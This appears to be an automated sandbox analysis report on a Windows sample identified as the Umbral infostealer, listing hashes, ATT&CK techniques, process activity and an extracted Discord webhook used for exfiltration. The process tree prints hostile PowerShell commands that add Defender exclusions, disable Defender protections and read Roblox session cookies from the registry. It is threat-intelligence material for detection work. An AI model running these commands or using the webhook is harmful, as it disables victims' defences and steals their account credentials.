umbral | d6bb2a6f3df3b72a9f27eb855ad6e34c4991dc849f6c098f49a78ae4ed0ea263

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
08/05/2026, 21:43

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General

Target
vexhook.exe
Size 7.7MB
Sample260508-1lay3aew9s
SHA256 d6bb2a6f3df3b72a9f27eb855ad6e34c4991dc849f6c098f49a78ae4ed0ea263
MD5 e8b496daa427757c5785a1820b387f10
SHA1 162cdd77b4429b27f5d96a7ac66b3d5cc444d887
SHA512 e49bc4c4ffa3c890d1f30a0f61dcee4fcf75a61710994897a2b0c1402a7d3265f26e31b3d87dc171a44f22434c8d5dafc37a5e69b9605aab85a8bacbf07a553e
SSDEEP 196608:nTblT/ZTqGWCYj/FsQ/vtc/aBYHEoVk9Bi+K7XQS:TblTh9WT9/vtcBHEoVk9037XQS
TLSH
T1E486E002F202C144E456DD798E52E996E7313848AF1657EB3284BF1E2EF73C1AEB6741
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution umbral spyware stealer

Malware Config

Extracted

Family

umbral

Version

v1.3

https://discord.com/api/webhooks/1502417428133580990/KjM4qpxt04pVv6PCqxYmsO3V0JpjX2l2R01TdoQr0W1byCDHCNYmBQ1o5m60t1tD6X5J

Signatures

Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
stealer umbral

Detects Umbral payload 4 IoCs

resource	yara_rule
behavioral2/files/0x000600000002a7e0-3.dat	family_umbral
behavioral2/files/0x000600000002a7e0-3.dat	family_umbral_obfuscated
behavioral2/memory/5008-5-0x0000021734400000-0x0000021734440000-memory.dmp	family_umbral
behavioral2/memory/5008-5-0x0000021734400000-0x0000021734440000-memory.dmp	family_umbral_obfuscated

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2588	powershell.exe
768	powershell.exe
5492	powershell.exe
4344	powershell.exe
3168	powershell.exe
3680	powershell.exe
4496	powershell.exe
992	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
992	powershell.exe

Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
992	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
5008	svch2656_240655156.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
4	discord.com

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svch2656_240655156.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svch2656_240655156.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
2656	vexhook.exe
4496	powershell.exe
4496	powershell.exe
992	powershell.exe
992	powershell.exe
5492	powershell.exe
5492	powershell.exe
4344	powershell.exe
4344	powershell.exe
3168	powershell.exe
3168	powershell.exe
3680	powershell.exe
3680	powershell.exe
2588	powershell.exe
2588	powershell.exe
768	powershell.exe
768	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	5008	svch2656_240655156.exe
Token: SeDebugPrivilege	4496	powershell.exe
Token: SeDebugPrivilege	992	powershell.exe
Token: SeDebugPrivilege	5492	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	768	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2656 wrote to memory of 5008	2656	vexhook.exe	80
PID 5008 wrote to memory of 4496	5008	svch2656_240655156.exe	81
PID 5008 wrote to memory of 992	5008	svch2656_240655156.exe	83
PID 5008 wrote to memory of 5492	5008	svch2656_240655156.exe	85
PID 5008 wrote to memory of 4344	5008	svch2656_240655156.exe	87
PID 5008 wrote to memory of 3168	5008	svch2656_240655156.exe	89
PID 5008 wrote to memory of 3680	5008	svch2656_240655156.exe	91
PID 5008 wrote to memory of 2588	5008	svch2656_240655156.exe	93
PID 5008 wrote to memory of 768	5008	svch2656_240655156.exe	95

C:\Users\Admin\AppData\Local\Temp\vexhook.exe
"C:\Users\Admin\AppData\Local\Temp\vexhook.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2656
- C:\Users\Admin\AppData\Local\Temp\svch2656_240655156.exe
  "C:\Users\Admin\AppData\Local\Temp\svch2656_240655156.exe" --no-embedded-vexor
  2⤵
  - Executes dropped EXE
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\svch2656_240655156.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Disables automatic submission of suspicious files to Microsoft by Windows Defender
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:992
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5492
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKCU:SOFTWARE\Roblox\RobloxBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4344
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKCU:SOFTWARE\Roblox Corporation\Roblox\RobloxStudioBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3168
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3680
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKLM:SOFTWARE\Roblox\RobloxBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-ItemPropertyValue -LiteralPath 'HKLM:SOFTWARE\Roblox Corporation\Roblox\RobloxStudioBrowser\roblox.com' -Name '.ROBLOSECURITY' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:768

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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